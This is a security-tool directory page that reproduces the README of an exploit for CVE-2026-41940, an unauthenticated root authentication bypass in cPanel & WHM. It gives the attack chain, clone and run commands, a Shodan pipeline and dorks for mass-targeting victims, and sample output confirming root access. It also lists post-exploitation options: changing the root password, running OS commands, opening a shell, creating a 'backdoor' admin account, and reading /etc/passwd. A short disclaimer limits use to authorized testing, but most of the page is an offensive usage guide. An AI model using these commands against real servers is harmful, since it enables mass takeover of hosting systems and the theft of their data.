Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-41940 β€” cPanel & WHM - Authentication Bypass via Session-File CRLF Injection | Kitploit
Tools/GitHubGitHub/0xgh057r3c0n/cve-2026-41940
Authentication & AuthorizationVulnerability ScannersExploitationWeb Application ExploitationPost-ExploitationPenetration TestingRed Teaming
GitHub0xgh057r3c0n/cve-2026-41940

CVE-2026-41940

cPanel & WHM - Authentication Bypass via Session-File CRLF Injection

View Repository
1592 months agoNot yet reviewed
Share

πŸ”₯ CVE-2026-41940 – cPanel & WHM Auth Bypass

cPanel

⚑ Unauthenticated Root – Session‑File CRLF Injection ⚑
β€œOne chain to rule them all.”

Python License No deps CVSS


🧠 The Exploit in a Nutshell

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  Stage 1  ──  Mint a pre‑auth session cookie              β”‚
β”‚  Stage 2  ──  CRLF injection via `Authorization` header   β”‚
β”‚  Stage 3  ──  Fire `do_token_denied` (raw β†’ cache)       β”‚
β”‚  Stage 4  ──  Verify WHM root access via JSON API        β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

πŸ’₯ Result – Full root access to WHM, no credentials required.


πŸ“œ License

This project is released under the MIT License – feel free to use, modify, and distribute, but don't be evil 😈.
See the LICENSE file for details.


πŸ› οΈ Installation – It's Literally One Line

git clone https://github.com/0xgh057r3c0n/CVE-2026-41940.git && cd CVE-2026-41940

Zero dependencies – only Python 3 standard library.
You don't need pip, virtualenv, or any of that noise.


πŸš€ Quick Start – Run It Now

Single target

./CVE-2026-41940.py -u https://target.com:2087

Mass scan from file

./CVE-2026-41940.py -l targets.txt -t 20 -o results.json

Pipe from the wild (Shodan, subfinder, etc.)

shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | ./CVE-2026-41940.py -t 30

🎯 Command-Line Options (the good stuff)

FlagDescription
-u, --urlSingle target URL (e.g. https://host:2087)
-l, --listFile with one URL per line
--hostnameOverride canonical Host header (auto‑discovered)
-t, --threadsThreads (default: 10)
--timeoutTimeout in seconds (default: 15)
--rate-limitSleep between targets (seconds)
--actionPost‑exploit: list, passwd, cmd, exec, info, version, shell, adduser
--passwdNew root password (with --action passwd)
--cmdOS command (with --action cmd/exec)
--new-userNew cPanel username (with --action adduser)
--new-domainNew cPanel domain (with --action adduser)
-o, --outputSave results to JSON

πŸ’€ Post‑Exploitation Arsenal

Once you've pwned the box, you can:

  • πŸ” List all cPanel accounts – --action list
  • πŸ”‘ Change root password – --action passwd --passwd "h4ck3d!"
  • πŸ–₯️ Execute OS commands – --action cmd --cmd "id;whoami"
  • πŸ“‘ Interactive shell – --action shell (full WHM terminal)
  • πŸ‘€ Create backdoor admin – --action adduser --new-user backdoor --new-domain evil.com --passwd "pwn3d"
  • πŸ“‚ Read files (via shell) – cat /etc/passwd
  • πŸ“Š Gather server info – --action info

πŸ§ͺ Demo – What You'll See

$ ./CVE-2026-41940.py -u https://192.168.1.100:2087

  Configuration:
   Targets  : 1
   Threads  : 10
   Timeout  : 15s
   Action   : scan only

[10:23:15] [SCAN] Starting 4-stage exploit chain... https://192.168.1.100:2087
[10:23:15] [INFO] Canonical hostname discovered: server.example.com
[10:23:15] [STEP] Stage 1/4 β€” Minting preauth session...
[10:23:16] [  OK] Stage1: preauth session = 9a7f8e3d2c1b0a9f
[10:23:16] [STEP] Stage 2/4 β€” CRLF injection via Authorization header...
[10:23:17] [  OK] Stage2: HTTP 302 β†’ token=/cpsess1234567890
[10:23:17] [STEP] Stage 3/4 — Firing do_token_denied gadget (raw→cache)...
[10:23:18] [  OK] Stage3: HTTP 401 β€” do_token_denied gadget fired
[10:23:18] [STEP] Stage 4/4 β€” Verifying WHM root access...
[10:23:18] [INFO] Stage4: HTTP 200  {"version":"11.118.0.63",...}
[10:23:18] [PWND] CVE-2026-41940 CONFIRMED β€” WHM root access! (v11.118.0.63 β€” CONFIRMED vulnerable)
[10:23:18] [PWND]   Token    : /cpsess1234567890
[10:23:18] [PWND]   Session  : 9a7f8e3d2c1b0a9f
[10:23:18] [PWND]   Version  : 11.118.0.63
[10:23:18] [PWND]   API URL  : https://192.168.1.100:2087/cpsess1234567890/json-api/version

  CVE-2026-41940 β€” Scan Complete
  Time: 3.2s  Β·  Targets: 1

  1 VULNERABLE TARGET(S)

  [*] Target   : https://192.168.1.100:2087
  [*] Version  : 11.118.0.63
  [*] Token    : /cpsess1234567890
  [*] API URL  : https://192.168.1.100:2087/cpsess1234567890/json-api/version
  [*] Session  : 9a7f8e3d2c1b0a9f
  [*] Evidence : {"version":"11.118.0.63",...}

πŸ”Ž Shodan Dorks (find your prey)

title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087

πŸ“Š Affected Versions – Patch Status

BranchPatched BuildStatus
11.11011.110.0.97πŸ›‘οΈ Fixed
11.11811.118.0.63πŸ›‘οΈ Fixed
11.12611.126.0.54πŸ›‘οΈ Fixed
11.13211.132.0.29πŸ›‘οΈ Fixed
11.13411.134.0.20πŸ›‘οΈ Fixed
11.13611.136.0.5πŸ›‘οΈ Fixed

All versions below these builds are vulnerable.


πŸ•΅οΈβ€β™‚οΈ Author & Credits

0xgh057r3c0n – security researcher, reverse engineer, and coffee addict.
GitHub | Twitter


⚠️ Disclaimer

This tool is intended for authorized security testing and educational purposes only.
Unauthorized access to computer systems is illegal. The author and contributors are not responsible for any misuse or damage caused by this software.
Use responsibly, and always get permission first.


🌟 Support / Contributing

  • Found a bug? Open an issue.
  • Want to improve the code? PRs are welcome.
  • Liked the tool? Give it a ⭐ on GitHub!

πŸ”₯ Hack the planet, but stay legal. πŸ”₯

Download Tool

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    640
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    479
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    391
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    335
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurityβ€”where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    258
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    249

Explore all tools

Browse our collection of tools

View all tools β†’